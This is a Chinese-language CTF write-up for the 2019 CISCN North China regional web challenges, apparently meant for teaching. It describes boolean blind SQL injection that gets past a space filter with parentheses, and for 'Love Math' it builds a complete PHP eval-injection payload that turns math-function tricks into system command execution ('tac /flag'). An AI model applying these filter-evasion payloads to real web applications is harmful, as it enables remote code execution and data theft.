2019 CISCN 华北赛区 WriteUp
🏛️ 大赛组织架构
主办单位:教育部高等学校网络空间安全专业教学指导委员会
承办单位:电子科技大学
作品赛决赛地点:江苏南京
创新实践能力赛决赛地点:四川成都
Web
Hack World(布尔盲注 + 括号绕过)

考察 POST 类型的 SQL 注入,开局给了表名和列名

经过 FUZZ 过滤了如下字符
1 | 空格 |
但是没有过滤
1 | select |
所以联合查询、堆叠注入、文件读取基本走不通,最稳的是布尔盲注。再利用括号绕过空格的限制
1 | import requests |

Love Math(字符串构造绕过 + 数组花括号访问绕过 + 动态函数调用)

题目参数是 c,如果传了 c,会进入过滤,然后执行
1 | eval('echo '.$content.';'); |
限制点主要有三个:
c长度必须小于 80;黑名单过滤了空格、换行、引号、反引号、方括号等字符;
代码里出现的函数名必须属于数学函数白名单
正常想执行命令,大概是 $_GET['pi']($_GET['abs']);
然后外面传 pi=system&abs=tac /flag
但是题目里不能直接写 _GET,也不能写 [、] 和引号,所以要绕
base_convert(37907361743,10,36) 把十进制数字 37907361743 转成 36 进制,结果是 hex2bin
dechex(1598506324) 结果是 5f474554,分别对应 ASCII 字符:
1 | 5f => _ |
但是它现在还只是十六进制形式,需要 hex2bin 还原
因此 $pi=base_convert(37907361743,10,36)(dechex(1598506324));
这里变量名选 $pi 不是随便选的。pi 本身是数学函数白名单里的名字,而且很短,可以卡住长度限制
现在已经有 $pi="_GET";,可得到 $$pi,也就是 $_GET
接着可以构造出 Payload:($$pi){pi},等价于 $_GET{pi}
在旧版本 PHP 中,{pi} 可以近似理解成数组取值:$_GET["pi"]
($$pi){abs} 同理等价于 $_GET{abs},再等价于 $_GET["abs"]
最终 Payload 如下
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag |